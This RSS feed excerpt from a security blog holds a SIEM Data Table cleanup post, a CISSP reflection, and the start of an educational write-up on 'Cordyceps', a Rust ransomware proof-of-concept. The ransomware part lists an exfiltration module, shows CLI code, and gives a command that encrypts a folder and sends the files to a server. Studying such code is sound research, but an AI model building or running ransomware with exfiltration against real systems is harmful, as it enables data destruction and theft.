font-style: inherit;">"2025-11-11T19:37:09.219255Z"</span></span>
<span id="cb1-8">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb1-9">  <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb1-10"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<section id="key-technical-aspects" class="level3">
<h3 class="anchored" data-anchor-id="key-technical-aspects">Key Technical Aspects</h3>
<ul>
<li><strong>Beyond CSV:</strong> Data Tables are far beyond simple CSV files, as each line has a <strong>hash</strong> associated with it, like a <strong>Hashset</strong>.</li>
<li><strong>Granularity:</strong> This hash-line ID allows us to reference single lines directly from the API, providing an extra level of granularity.</li>
<li><strong>Duplicate Immunity:</strong> Due to this nature, Data Tables are immune to duplicated rows. In fact, if you try to create a duplicate line, Chronicle won’t raise an error, and you’ll be able to see the duplicated row in the UI for a short period. However, after any refresh, that line will vanish.</li>
</ul>
</section>
<section id="challenges-and-limitations" class="level3">
<h3 class="anchored" data-anchor-id="challenges-and-limitations">Challenges and Limitations</h3>
<ul>
<li><strong>API Version:</strong> Data Tables are currently only accessible via API through the <code>v1alpha</code> endpoint. This means Google will change it sometime in a new version. However, “life happens now,” and I can’t wait for Google to stabilize this API before I start using it.</li>
<li><strong>TTL Feature:</strong> Data Tables have a built-in <strong>Time to Live (TTL)</strong> feature, which allows us to set a default expiration time for <em>each row</em> in that table. Once the TTL reaches zero, the row is automatically deleted by Chronicle.
<ul>
<li><strong>The Problem:</strong> It’s an <strong>all-or-nothing</strong> solution; you can’t mark some rows as “non-expirable.”</li>
<li><strong>The Consequence:</strong> Because of this, we’d have to create two Data Tables for some scenarios, one with TTL on and the other with TTL off, which is not desirable.</li>
</ul></li>
</ul>
<p>That’s why I decided to re-implement the expiration feature I had created for Reference Lists, now for Data Tables. The approach is similar:</p>
<ol type="1">
<li>Add an <strong>“expiration”</strong> column to the relevant tables.</li>
<li>Fill the rows I want to expire with a date in the format <code>YYYY-MM-DD</code>.</li>
<li>The script will look for these rows and, based on the current date, decide whether to keep that row or not.</li>
</ol>
</section>
</section>
<section id="coding-the-script" class="level2">
<h2 class="anchored" data-anchor-id="coding-the-script">Coding the Script</h2>
<p>I started this script on top of the <a href="https://gist.github.com/lopes/51ff4951c988c5d63f96384c7aef43fe">previous one</a> to avoid starting from scratch. The previous script used to remove duplicated lines and sort the lines alphabetically. That functionality doesn’t make sense for Data Tables because, as explained, they’re much like <strong>Hashsets</strong> and not simply usual CSV files.</p>
<p>You can find the new script 👉 <a href="https://gist.github.com/lopes/ff5c6882460deabb2e43c8fb38d3eeee"><strong>HERE</strong></a> 🔗📍 Although it’s self-documented, I’ll briefly explain what it does.</p>
<section id="script-execution-and-setup" class="level3">
<h3 class="anchored" data-anchor-id="script-execution-and-setup">Script Execution and Setup</h3>
<p>This script is expected to be run as a <strong>GCP Cloud Run Function</strong> and requires some environment variables to be set. This approach separates sensitive internal data from the code, providing more security.</p>
<ol type="1">
<li><strong>Initialization:</strong> It starts by setting up variables and checking if the necessary data is available. If any of them is missing, it will break and log the problem.</li>
<li><strong>Optional Monitoring:</strong> This script optionally sends errors via <strong>Slack</strong> using a webhook for better monitoring.</li>
<li><strong>Core Logic:</strong> Once everything is set, it grabs the list of Data Tables and iterates over the ones that have the “expiration” column set.</li>
<li><strong>Logging:</strong> Errors are collected and sent only once via Slack, but all important actions, including errors, are properly logged for trackability.</li>
</ol>
</section>
<section id="the-problem-with-documentation-and-api-usability" class="level3">
<h3 class="anchored" data-anchor-id="the-problem-with-documentation-and-api-usability">The Problem with Documentation and API Usability</h3>
<p>It took me less than five business days to come up with this solution, but it could have been much less if Google had better documentation and an easier API. 🚨</p>
<ul>
<li><strong>Base URL Issue:</strong> Using the <a href="https://cloud.google.com/chronicle/docs/reference/rest/v1alpha/projects.locations.instances.dataTables.dataTableRows">current documentation</a>, I encountered many errors and was never able to successfully interact with Chronicle. Only after I looked at a code example a colleague—who works at Google—shared with me did I figure out that the <strong>base URL was different</strong> from the official documentation. After changing it, everything worked fine. ⚠️</li>
<li><strong>Bulk Archiving:</strong> Besides that, I really wanted to archive rows in bulk, but the approach in the documentation was unclear using <code>:bulkCreate</code>/<code>:bulkCreateAsync</code>, forcing me to archive <strong>row by row</strong>. Fun fact: that’s why I implemented a function to archive rows (<code>log_to_archive</code>) that receives a <em>list</em> of rows instead of single rows!</li>
<li><strong>Complexity:</strong> Regarding the ease of using the API, Chronicle involves: a base URL, parameters that include instance ID and location, different endpoints, authorization scopes, and keys. When combined with the poor documentation, this looks more like a blocker to users. While I understand some of these features are security-related, I think Google could make it safe <em>and</em> easier, like other vendors do. 🔒✅ Please, Google! 🙏</li>
</ul>
</section>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom Line</h2>
<p>Despite the struggle to understand how to use the API, the final solution looks stable and quite usable. Data Tables are indeed a better and more robust approach to implementing lists, and I see why Google is deprecating Reference Lists.</p>
<p>The API is very responsive, and the data structures it uses are well-designed and allow for the development of good automations; something essential to keeping lists live, safe, and sanitized, which is vital for any good SIEM. 💡</p>
<p>Although I’m a bit concerned about the deprecation of <code>v1alpha</code>, I hope Google moves to a better solution in terms of both usability and documentation. If that comes true, I’ll happily update this script. 🙂</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Auto-Cleaning {Data} {Tables} in {Chronicle} {SIEM}},
  date = {2025-11-19},
  url = {https://lopes.id/log/chronicle-siem-table-cleaning/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Auto-Cleaning Data Tables in Chronicle
SIEM.”</span> November 19. <a href="https://lopes.id/log/chronicle-siem-table-cleaning/">https://lopes.id/log/chronicle-siem-table-cleaning/</a>.
</div></div></section></div> ]]></description>
  <category>logging</category>
  <category>cloud</category>
  <category>dev</category>
  <category>detection</category>
  <guid>https://lopes.id/log/chronicle-siem-table-cleaning/</guid>
  <pubDate>Wed, 19 Nov 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/chronicle-siem-table-cleaning/og-chronicle-siem-table-cleaning.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>CISSP Year 5: Reflections</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/cissp-year-5-reflection/</link>
  <description><![CDATA[ 






<p>It’s been <strong>five cycles</strong> since I first held the Certified Information Systems Security Professional (<strong>CISSP</strong>) credential, earning it back in November 2020. I’ve previously charted the demanding journey to obtaining the certification itself <a href="../../log/cissp-certification-journey/">here</a> 🔗. This time, however, I want to step back and reflect, not on the grueling process of <em>getting</em> the badge, but on the practical impact it has had on the subsequent half-decade of my career. What does it truly mean to be “certified” after five years in the ever-shifting landscape of Information Security? 🤔</p>
<section id="beyond-certifications" class="level2">
<h2 class="anchored" data-anchor-id="beyond-certifications">Beyond Certifications</h2>
<p>For me, any certification or structured learning process only holds true, enduring value if it provides <strong>actionable knowledge</strong>, a framework capable of bridging skill gaps that would otherwise be hard to cover organically.</p>
<p>The CISSP’s Common Body of Knowledge (CBK) executes this perfectly. Its eight domains are meticulously defined, covering nearly the entire spectrum of Information Security. By internalizing this structure, the student is not merely exposed to the diverse aspects of the area but truly understands how these elements <strong>interoperate and relate</strong> to each other, a holistic view that forms a robust professional foundation.</p>
<p>This comprehensive knowledge is invaluable because it qualifies the professional to confidently engage with teams of any size and complexity. Furthermore, since the concepts covered demand <strong>understanding</strong> rather than simple recall, the certification provides a solid introductory depth to numerous topics. This allows you to converse with virtually any Infosec professional, moving the dialogue beyond mere basics and into strategic, cross-functional discussions.</p>
</section>
<section id="job-opportunities" class="level2">
<h2 class="anchored" data-anchor-id="job-opportunities">Job Opportunities</h2>
<p>It’s quite common for professionals to pursue certifications as a path to new job opportunities, and that is a perfectly rational goal. In fact, many job descriptions list the CISSP as a <strong>desirable credential</strong>. Yet, while it is often desired, I rarely recall seeing it explicitly <em>required</em>.</p>
<p>In my personal experience, the CISSP was never the determinant factor that secured a position or guaranteed a promotion, and I genuinely don’t find fault in that. Ultimately, the certification is just a <strong>professional badge</strong>. What truly drives success, in my estimation, remains <strong>proven accomplishments:</strong></p>
<ul>
<li>The quantifiable <strong>impact</strong> of your actions</li>
<li>The demonstrable <strong>value</strong> you add to the business</li>
</ul>
</section>
<section id="keeping-the-badge" class="level2">
<h2 class="anchored" data-anchor-id="keeping-the-badge">Keeping the Badge</h2>
<p>To maintain the certification, (ISC)² requires two things: payment of the Annual Maintenance Fee (AMF) and the collection of Continuing Professional Education (CPE) credits. Unlike some other certifications, there is no need to repeat the grueling examination. I find this approach highly commendable because, at the end of the day, what truly matters is that the <strong>intellectual fire remains lit</strong>, keeping you up-to-date with new technologies and emergent threat landscapes.</p>
<p>CPEs are the required evidence of this ongoing professional development. The beauty of this system is its flexibility: we can claim credits for:</p>
<ul>
<li>Applied research</li>
<li>Formalized training</li>
<li>Even relevant <strong>on-the-job experience</strong>, provided the activity maps back to the CBK domains.</li>
</ul>
<p>This means that simply by actively working and developing within the Infosec area, you are continuously collecting the necessary CPEs, effectively renewing your certificate through the sheer act of being an <strong>engaged professional</strong>.</p>
</section>
<section id="criticism" class="level2">
<h2 class="anchored" data-anchor-id="criticism">Criticism</h2>
<p>My only point of criticism is related to the tangible benefits offered to certified professionals, or “members.” Currently, the offering seems sparse, mostly limited to discounts on (ISC)² events and access to a few foundational courses. Considering the price of the annual fee, I believe the value proposition could be substantially improved.</p>
<p>For instance, I struggle to comprehend the rationale behind billing members to attend <strong>virtually</strong> to the very events the organization is hosting. Even if a fee structure is deemed necessary, charging hundreds of dollars for virtual attendance is prohibitive. For professionals like myself located in emerging countries where the US Dollar is not the national currency, this is more than just “not okay”; <strong>it becomes an absolute blocker to participation.</strong></p>
<p>Regarding alternative benefits, if this annual fee were translated, for example, into complimentary access to a resource library like O’Reilly’s virtual catalog, the value would be undeniable and deeply satisfying. As it stands, I merely pay the fee to guarantee my certification renewal, harboring no expectation of receiving substantial, meaningful benefits from (ISC)², which is, frankly, a pity.</p>
</section>
<section id="final-thoughts" class="level2">
<h2 class="anchored" data-anchor-id="final-thoughts">Final Thoughts</h2>
<p>I once read that <em>“T-shaped” engineers work effectively in most areas and are experts in at least one</em> , and the CISSP is fundamentally designed to help achieve that broad, foundational knowledge. It is a good example of finding the real happiness in the <strong>journey of learning</strong>, not solely in the target of achieving the pass/fail score. The true, lasting value of this certification is inextricably tied to its body of knowledge. Truly mastering it will make you a more <strong>consistent and capable Infosec professional</strong>, empowering you to navigate the different domains fearlessly.</p>
<p>If this certification included demonstrably better benefits, such as relevant professional subscriptions or the possibility of participating in official events for free or at truly competitive prices, it would enhance the professional obligation it represents. This perceived lack of valuable benefits makes me consistently re-evaluate the decision to renew the certificate.</p>
<p>And yet, here I am, re-certified for the next cycle and with all my CPEs already filled one year in advance.</p>
<p>Do I recommend pursuing the CISSP after five years? <strong>Definitely, for the knowledge it imparts.</strong> Do I recommend perpetually keeping certified? Well, with the current balance of cost and benefit, I’m not entirely sure. However, with simple, member-focused adjustments, (ISC)² could easily turn that into an enthusiastic <em>definitely yes</em> answer.</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {CISSP {Year} 5: {Reflections}},
  date = {2025-11-06},
  url = {https://lopes.id/log/cissp-year-5-reflection/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“CISSP Year 5: Reflections.”</span> November 6.
<a href="https://lopes.id/log/cissp-year-5-reflection/">https://lopes.id/log/cissp-year-5-reflection/</a>.
</div></div></section></div> ]]></description>
  <category>career</category>
  <guid>https://lopes.id/log/cissp-year-5-reflection/</guid>
  <pubDate>Thu, 06 Nov 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/cissp-year-5-reflection/og-cissp-year-5-reflection.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Cordyceps: The Making of Rust Ransomware</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/cordyceps-rust-ransomware/</link>
  <description><![CDATA[ 






<p>In my last two posts, <a href="../../log/rust-for-security-engineers/">Rust for Security Engineers</a> 🦀 and <a href="../../log/llm-learning-rust-reflections/">Reflections on Using LLMs to Learn Rust</a> 🤖, I discussed why I decided to learn Rust and how I used LLMs to speed up the process. After reading <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a>, I set myself a challenge. Inspired by a teammate, I decided to build a ransomware proof-of-concept, <a href="https://github.com/lopes/cordyceps">Cordyceps</a> ☣️, written entirely in Rust. I chose this (dubious) project because it requires extensive use of the standard library and community crates, and it touches on many practical areas: command-line parsing, filesystem operations, networking, and cryptography. In this post, I’ll dissect Cordyceps, highlighting each of its constituent modules.</p>
<div class="callout callout-style-default callout-warning callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Warning
</div>
</div>
<div class="callout-body-container callout-body">
<p>Cordyceps is a proof-of-concept created for educational purposes to demonstrate how ransomware works. It is intended for security researchers and students. <strong>Do NOT use this on any system or data you do not own or have explicit permission to test on.</strong> Misusing this software can cause irreversible data loss and is likely illegal.</p>
</div>
</div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>I won’t dive into implementation details here. Check the code comments for in-depth explanations. This post is a complementary, high-level overview.</p>
</div>
</div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>This post is based on <a href="https://github.com/lopes/cordyceps/releases/tag/v0.8.0">Cordyceps v0.8.0</a>. Future versions may change some behaviors described here.</p>
</div>
</div>
<section id="project-overview" class="level2">
<h2 class="anchored" data-anchor-id="project-overview">Project Overview</h2>
<p>Before writing a single line of code, I defined the project’s structure and goals. Cordyceps is a command-line application written in Rust that simulates ransomware behavior for educational purposes. The project is divided into six modules: <code>main</code>, <code>cli</code>, <code>core</code>, <code>crypto</code>, <code>net</code>, and <code>error</code>.</p>
<ul>
<li><code>main</code>: Application entry point.</li>
<li><code>cli</code>: Command-line argument parsing.</li>
<li><code>core</code>: Core orchestration logic.</li>
<li><code>crypto</code>: Cryptographic operations and the <code>.zombie</code> file format.</li>
<li><code>net</code>: Exfiltration of encrypted files to a remote server.</li>
<li><code>error</code>: Custom error types for unified error handling.</li>
</ul>
<p>The application is modular and extensible; each module has a clear responsibility.</p>
</section>
<section id="modules" class="level2">
<h2 class="anchored" data-anchor-id="modules">Modules</h2>
<p>Following Rust’s best practices for organization, Cordyceps is structured into six modules. The <code>main</code> module boots the app, <code>cli</code> parses user intent, and <code>core</code> orchestrates operations, delegating tasks to the <code>crypto</code> and <code>net</code> modules. The <code>error</code> module provides shared error types. The diagram below provides a graphical overview, and in the following sections, we’ll delve into each module in that order.</p>
<div class="cell" data-layout-align="default">
<div class="cell-output-display">
<div>
<p></p><figure class="figure"><p></p>
<div>
<pre class="mermaid mermaid-js">flowchart LR
  A[User CLI] --&gt; B[main]
  B --&gt; C[cli]
  C --&gt; D[core]
  D --&gt; E[crypto]
  D --&gt; F[net]
</pre>
</div>
<p></p></figure><p></p>
</div>
</div>
</div>
<section id="main" class="level3">
<h3 class="anchored" data-anchor-id="main">main</h3>
<p>This is the application’s entry point and its simplest module. It registers all other modules with the <code>mod</code> keyword and calls the function that runs the program. The <code>main.rs</code> file starts with documentation comments (<code>//!</code>), which <code>cargo doc</code> uses to build the project’s documentation. It’s a simple and elegant way to keep documentation right next to the code it describes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb1-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> main() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">env_logger::</span>init()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-3"></span>
<span id="cb1-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Err</span>(e) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">cli::</span>run() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-5">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">error!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Cordyceps error: {}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> e)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-6">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::process::</span>exit(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-7">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb1-8"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Pay special attention to <code>if let Err(e) = cli::run()</code>. This is a great example of Rust’s ergonomics. This line runs the <code>run</code> function from our <code>cli</code> module (more on that soon). Just by reading it, we can infer that <code>run</code> returns a <code>Result&lt;T, E&gt;</code> and that we’re only concerned with the <code>Err</code> variant. This <code>if</code> statement becomes the final backstop for any errors that bubble up from our application.</p>
<p>If an error makes it this far, we log it and exit with a non-zero status code. Otherwise, the program finishes successfully.</p>
</section>
<section id="cli" class="level3">
<h3 class="anchored" data-anchor-id="cli">cli</h3>
<p>This module handles parsing command-line arguments, creating the bridge between the user and the application’s features. Note the <code>///</code> comments here; they work with <code>//!</code> to document specific parts of the code, all of which contribute to the project’s documentation. Run <code>cargo doc --open</code> to see the magic 🪄.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb2-1"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>derive<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span>Parser<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb2-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>command<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb2-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">enum</span> Cli <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-4">    Encrypt(EncryptArgs)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-5">    Decrypt(DecryptArgs)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-6">    Generate(GenerateArgs)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>This module uses attributes (<code>#[...]</code>) heavily. <code>#[derive(Parser, Debug)]</code> automatically implements the <code>Parser</code> and <code>Debug</code> traits for our <code>Cli</code> enum, allowing it to parse arguments and be printed for debugging with <code>{:?}</code>. We’re using the excellent <a href="https://crates.io/crates/clap">clap</a> crate here. The <code>#[command(...)]</code> macro provides metadata that <code>clap</code> uses to generate the <code>--help</code> message. The <code>env!</code> macro complements this by reading variables from <code>Cargo.toml</code>, which helps us avoid duplicating information and keeps things consistent.</p>
<p>I’ve chosen <code>clap</code>’s declarative <em>derive</em> style because I find it ergonomic and idiomatic. These attributes are macros that expand into the necessary boilerplate code at compile time. <code>clap</code> transforms the variants of our <code>Cli</code> enum into subcommands. For each subcommand, we define a struct whose fields become the arguments for that command.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb3-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> run() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> AppError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> args <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">match</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>try_parse() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-3">        <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Ok</span>(args) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-4">        <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Err</span>(e) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> e<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>exit()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb3-6"></span>
<span id="cb3-7">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">info!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Arguments parsed and loaded"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-8">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">debug!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Arguments: {:?}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> args)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-9"></span>
<span id="cb3-10">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">match</span> args <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-11">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>Encrypt(args) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> sporulate(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>no_delete<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>server)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-12">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>Decrypt(args) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> disinfect(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>no_delete)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-13">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>Generate(args) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> germinate(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-14">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb3-15"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The <code>run</code> function, called from <code>main</code>, returns a <code>Result&lt;(), AppError&gt;</code>. It starts by parsing the arguments. Thanks to the <code>Parser</code> trait, our <code>Cli</code> enum has a <code>try_parse</code> function. While we could propagate a parsing error to <code>main</code>, <code>clap</code> errors are best handled immediately. We want to show the user a helpful message and exit right away. The <code>match</code> statement does this perfectly: on success (<code>Ok</code>), the parsed arguments are stored in <code>args</code>; on failure (<code>Err</code>), <code>e.exit()</code> prints a user-friendly error and terminates the program.</p>
<p>Finally, a <code>match</code> statement on <code>args</code> acts as a dispatcher, calling the appropriate function from the <code>core</code> module based on the subcommand the user chose.</p>
<p>Putting it all together, here’s how we might use the application from the terminal:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb4-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Generate a new key pair in the current directory</span></span>
<span id="cb4-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">cordyceps</span> generate</span>
<span id="cb4-3"></span>
<span id="cb4-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Encrypt files in the 'data' directory and send them to a server</span></span>
<span id="cb4-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">cordyceps</span> encrypt <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> ./data <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-k</span> main-public.key <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-s</span> http://localhost:2673</span>
<span id="cb4-6"></span>
<span id="cb4-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Decrypt the files using your private key</span></span>
<span id="cb4-8"><span class="ex" style="color: null;
background-color: null;
